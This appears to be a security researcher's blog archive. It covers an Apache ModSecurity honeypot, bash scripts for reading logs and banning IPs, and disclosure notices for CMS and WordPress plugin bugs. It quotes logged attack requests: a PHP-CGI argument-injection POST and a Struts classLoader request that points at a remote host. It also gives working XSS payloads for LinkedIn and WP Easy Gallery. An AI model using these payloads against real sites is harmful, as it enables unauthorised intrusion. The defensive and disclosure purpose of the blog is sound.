[EN] Bots in the log

Few weeks ago I decide to create another mini-honeypot.
To do this, I used Apache server with ModSecurity installed.

After few modifications of existing rules, next thing was to
create some 'log reader' to quick check if there is something
new (and interesting) in logs, or not. And of course, to
learn more about how bots are talking with my machine,
where they want to connect, and what 'exploits' they are
using.

During last few weeks I was observing multiple GET and POST
requests to Apache (where I have only index.html and robots.txt
file, but it wasn't a hint for attackers, because they scanned
all possible vulnerabilities anyway ;)).

For example, few very often requests was related to vulnerable phpMyAdmin installation and other old webapps:
---<code>---
# grep GET modsec_audit.log
GET /phpTest/zologize/axa.php HTTP/1.1
GET /phpMyAdmin/scripts/setup.php HTTP/1.1
GET /pma/scripts/setup.php HTTP/1.1
GET /myadmin/scripts/setup.php HTTP/1.1
GET / HTTP/1.1
GET /robots.txt HTTP/1.1
---<code>---

This is not the problem to find out what vulnerabilities was
tried to reach, let's google it:
 
---<code>---
POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1
---<code>---

As you can see, here is a very useful post 
(by SpiderLabs) about this vulnerability.

Of course you can now get 'tools' from this kind of POST (http://attackers-host/histool)
and read it. Often you will find bash script, trying to download pscan or some exploit to get-root on your machine. 
Kind of fun ;)

But probably nothing new...

Anyway, in a last few days I found interesting line in logs:
---<code>---
162.213.24.40 - - [25/Apr/2014:22:38:05 +0200] "GET /toplel.action?class[%27classLoader%27][%27resources%27][%27dirContext%27][%27docBase%27]=//162.213.24.40/toplel HTTP/1.0" 403 466 "-" "-"
---<code>---

I was a little surprised, because this was the first time I saw it in my logs. So I tried to find some information at google, and that's how I found a very nice post at SpamBotSecurity Forum
that this is a bug in Apache Struts but also please check this.

(Also 'toplel' seems to be a malware)

Probably in the future I will post here something new about it,
but now if you want, you can check my simple log reader to verify
if in your logs you will find something interesting.

Of course you can use another simple script to block
this kind of requests. Check this out:
---<code>---
# cat ban_modsec.sh
#!/bin/sh

# script to simple block all IP's from mod_security.log
MODSLOG="/var/log/apache2/modsec_audit.log"

#uniq IP addresses to block
echo ""
echo "In the last mod_security log, found : [`grep 200 $MODSLOG |grep 2014 | cut -d' ' -f 4|sort | uniq | wc -l`]"
echo ""
grep 200 $MODSLOG |grep 2014 | cut -d' ' -f 4|sort | uniq > 2ban.log

for line in `cat 2ban.log`; do
        iptables -A INPUT -s $line -j DROP
        echo "[+] $line - banned"
done
date >> 2ban.log
echo "-------------------------------------------" >> 2ban.log
echo "[+] Done."
---<code>---

If you have any ideas how can we build more secure servers
feel free to write a comment here.

Enjoy ;)

[EN] Simple quick Apache log reading

As far as I can see at logs of my Apache, last few weeks was very busy for few guys trying to hack my honeypot ;) 

Good job guys!

For some reason I decided to create a very simple (but useful) 'log-reader' for Apache.

You can obviously add it to cron or just run as a normal Bash script. 
Here you have a code:

---<code>---
#!/bin/sh

ACCESS="/var/log/apache2/access.log"
FOUND="found.log"
UNIQ="uniq.log"

echo
echo "**** Test Apache logs... ****"
echo

cut -d' ' -f1 $ACCESS > $FOUND

cat $FOUND | uniq > $UNIQ
echo "[+] Found host(s) : " `wc -l $UNIQ`

for host in `cat $UNIQ`; do
  echo "--------------------------------------------------------------"
  echo "[+] Testing : " $host
  host $host
  whois $host | grep -e "country\|address"
  echo ""
  echo "[+] looking for: "
  grep $host $ACCESS | cut -d' ' -f 6-8
  echo "--------------------------------------------------------------"
done

---<code>---

[EN] X2 Community - update for you

Few days ago I found that X2 is vulnerable to few web attacks.

After great work of X2 Team, below you will find a link to informations about
new update.

Check here ;)

Great job X2 Team!

[EN] New release of MantisBT 1.2.17

After last patching of MantisBT, there is a fresh and new version!

Check the details about new release and remember to install the patch ;)
More details about this finding you can get here or here

Once again big thanks for the excellent cooperation goes to the Dev Team of Mantis!
Great job!

[EN] Mantis 1.2.16 SQL Injection - updated

As I wrote moment ago, there is an SQL injection vulnerability in latest MantisBT.

Currently, because of a fast and great work of Developer Team, it is fixed.

You can check the details here and in public section of this blog.

Once again, big thanks to Developers Team!
Great job! :)

[EN] IPBoard 3.x Updates

Yesterday I saw a new post at IPBoard Community Forum about few
new vulnerabilities and patches.

If you're using mentioned version(s) I would recommend you to update it as soon as you can.
"How to do it" was described at forums page.

Big thanks to guys from IPB Support for a fast response and great job!
Keep going! ;)

[EN] MyBB 1.6.10 Released – Security & Maintenance Release

Once upon a time I found few interesting behaviors at MyBB.

Right now I just got an email about new release ;)

You can read more about it here:
http://blog.mybb.com/2013/04/22/mybb-1-6-10-released-security-maintenance-release/ 

I would like to thank MyBB Team for a fast response and great work!
You're doing it right!

Regards
o/

[EN] phpBB idea

Few days ago I found few bugs in latest phpBB code.

In short story I need few servers for tests 'few cases' of possible exploit.
If you have installed latest phpBB or you want to check out if there is a
possibility to build working exploit, let me know via email.

[EN] LinkedIn.com XSS - update

After few weeks, now I can publish all information about linkedin.com vulnerability.

--------------------------------------------------------------------------------
 Title  :  Persistent XSS in LinkedIn.com
--------------------------------------------------------------------------------
 Date   :  06.12.2012
--------------------------------------------------------------------------------
 Vendor :  www.LinkedIn.com
--------------------------------------------------------------------------------


1. What is it?
--------------------------------------------------------------------------------
  LinkedIn.com - it is a big portal for people who are looking for
  a job or for past and present colleagues.

2. Where is the bug?
--------------------------------------------------------------------------------
  I found that LinkedIn is vulnerable to persistent cross-site scripting.
 
  Logged-in user is able to add XSS code to this site.

3. PoC
--------------------------------------------------------------------------------
  Proof-of-concept code will not be disclosed to public before it will be secured.
 
  * When you are logged in at LinkedIn, choose one person from your contact list
  * and go to this profile. In the middle (and right side) of profile-page,
  * you will have 'edit tag' form. This is the vulnerable place.
  * Malicious user, can add here 100-character long string to exploit this
  * vulnerability, for example:
' > " > < img src=x onerror= alert ( / hi / ) >.

4. Contact
--------------------------------------------------------------------------------
 * http://hauntit.blogspot.com
 * http://portswigger.net
 * http://www.linkedin.com

[EN] OSSEC Cool Dashboard - New release!

This time update version is with number 0.5, what you can check here. :)

As always Jess was extremly fast with new patch. Work with such a good coder is a pleasure.

Now, check OCD!

[EN] ReFlex Gallery 1.3 - Persistent XSS

ReFlex Gallery 1.3 - Multiple persistent XSS:
http://wordpress.org/extend/plugins/reflex-gallery/

'Enter Gallery Name' and 'Enter Gallery Description' are vulnerable to XSS.

Try to filter inputs from users in add-gallery.php:
<code>
43:    <p><input type="text" name="galleryCode" value="[ReflexGallery id='<?php echo $this->reflexdb->getNewGalleryId(); ?>']" size="40" /></p></div>
70:                <td><input type="text" size="30" name="galleryName" value="<?php echo $galleryName; ?>" /></td>
75:                <td><input type="text" size="50" name="galleryDescription" value="<?php echo $galleryDescription; ?>" /></td>
</code>

To patch it, just add htmentities(). Like this:

<code>

kuba@box:~/public_html/wp3.5/wordpress/wp-content/plugins/reflex-gallery/admin$ grep htmlentities -n add-gallery.php
70:  <td><input type="text" size="30" name="galleryName" value="<?php echo htmlentities($galleryName); ?>" /></td>
75:  <td><input type="text" size="50" name="galleryDescription" value="<?php echo htmlentities($galleryDescription); ?>" /></td>
kuba@box:~/public_html/wp3.5/wordpress/wp-content/plugins/reflex-gallery/admin$

</code>


:)

[EN] WP Easy Gallery 2.6 XSS'ed - updated

Multiple XSS vulnerabilities found in latest WP Easy Gallery:

XSS is possible because parameter "galleryName" is not filtered.
User can add JS/HTML as a 'Gallery Name', so exploitation is possible.

As you can see below, 'galleryDescription' is also vulnerable.

If you want to check which one parameter is vulnerable here too, type at console:

<code>
kuba@box:~/public_html/wp3.5/wp-content/plugins/wp-easy-gallery/admin$ grep -n echo add-gallery.php | grep php | grep -e "\\$"
(...)
75: <td><input type="text" size="30" name="galleryName" value="<?php echo $galleryName; ?>" /></td>
80: <td><input type="text" size="50" name="galleryDescription" value="<?php echo $galleryDescription; ?>" /></td>
85: <td><input id="upload_image" type="text" size="36" name="upload_image" value="<?php echo $imagepath; ?>" />
91: <td><input type="text" size="10" name="gallerythumbwidth" value="<?php echo $thumbwidth; ?>" /></td>
96: <td><input type="text" size="10" name="gallerythumbheight" value="<?php echo $thumbheight; ?>" /></td>
(...)
 kuba@box:~/public_html/wp3.5/wp-content/plugins/wp-easy-gallery/admin$
</code>
------------------------------------

Update:
Also parameter "select_gallery" is vulnerable to this attack.

Update : 27.12.2012:

galleryName, galleryDescription, upload_image, gallerythumbwidth, gallerythumbheight
parameters are not filtered after users input.

Payload to reproduce this vulnerability:
']"/><body onload=alert(/boom/)>

[EN] Concrete5 CMS 6.0.2 - multiple vulnerabilities

Hi,

Concrete5 Team is creating a patch for my last few findings.

Once the patch is released, a more detailed info will be published.

Cheers,
o/

[EN] ATutor 2.1 vulnerabilities

Hi,

few findings at Atutor CMS .

I must say that Developers Team is really fast :)

Good job, thanks!

(Post will be updated as soon as dev-team will release the patch.)

* Update 20.12.2012 *
Today dev team send me information about patch. 
Post will be updated as soon as possible.  

o/

[EN] phpWebSite XSS

In cooperation with Matt, I would like to present you new patch for phpWebSite 1.7.3 :)

Matt, thanks for a fast reply and writting patch. It was pleasure to work with you!

Details here, so update please ;)

[EN] This week TODO

Hi,

to the end of this week, I will publish here few posts about what I'm doing right now. For now, it'll be:
- my new presentation about web security (will be here today/tommorow),
- few examples of XHR attacks,
- maybe some new bugs (if time permits... ;) ).

So - see You soon! ;)

Have a nice day
o/

[EN] Quick news

Hi,

today only one "quick news" ;)

Those information will be here as soon as possible, but for "Your information"
(and for "maybe this version is 'version of Your CMS' and You need quick-patch";))
here are listed few vulnerabilities I found this month.
If You need it fast- let me know, as always, via e-mail;)

So:
For (now ;)) 04.2012:
01.04 -Joomla 2.5.3 Information disclosure
04.04 -JooDatabase SQL Injection
06.04 -VirtueMart 2.0.2 Information disclosure
07.04 -jNews - Information disclosure
07.04 -Joomla 2.5.4 - Multiple...
07.04 -nBill Lite - HTML Injection / XSS
07.04 -VirtueMart 2.0.2 Information disclosure
11.04 -eFront CMS 3.6.10 Information disclosure
11.04 - eFront CMS 4.6.10 - User enumeration
14.04 -ATutor 2.0.4 XSS
15.04 -Docebo LMS 3605 - HTML Injection
15.04 - Docebo LMS 3605 - SQL Injection 
16.04 -e107 - reflected XSS
18.04 - HikaShop - Information disclosure


...to be continued... ;)


For 03.2012:
29.03 - gpEasy 2.3.3 XSS
27.03 - eXtreme-fusion 4.5 XSS
26.03 - Joomla 2.5.3 few XSS
25.03 - Quick Cart 5.0 Information disclosure

25.04 - Quick Cart 5.0 CMS XSS

25.04 - Yaqas CMS (Alpha1) - multiple...

18.03 - Quick Cart 5.0 Information disclosure

18.03 - Quick CMS 4.0 XSS


So if You will find here any CMS that You are using right now - let me know
if You want test/patch it.

[EN] So You're looking 0dayzzzz...? ;]

Nice, me too. ;)

I see in stats that a lot of You searching here this way:'webapp-name 0day' enter!... ;>

Yes, Yes, 'Enter -> r00t'.

But maybe it'll be easier to ask?  

By the way, feel free to post in comments some others 'techniques' to 'finding 0dayz' ;P

Try this 4dv4nc3d ;)
@google: intext:0day site:pastebin.com ;)



Enjoy.

[PL] Newsletter ISSA PL - Marzec

Jest mi nadzwyczaj miło zaprosić wszystkich do lektury najnowszego
(marcowego) newslettera ISSA PL. Oprócz nowinek na temat tegorocznych konferencji, znajdziecie tam również artykuł:

Po znajdziecie tutaj: https://issa.org.pl/ 

Jak zwykle czekam na Wasze pytania i komentarze!

Przyjemnej lektury ;)

[EN] "How to stop Wordpress user enumeration"

After I published few vulnerabilities called "user enumeration" (for latest Wordpress for example),
I saw many words in 'statistic' of this blog like:
"how to stop wordpress user enumeration".

Nice idea to talk:)

In my opinion, the simplest way to stop user enumeration is create file (or rule)
when if You add "good input" the output said "ok". But if You add "wrong input" answer should be
404 defined by You. ("404.php" could be vulnerable to if it's presenting us some $params-values in output of 404)

So if user send wrong-input, reaction of application should be the same as it is for non-existing content.
For example: "You asked wrong".

Simple. :)


If You want more ideas, let me do it for You ;)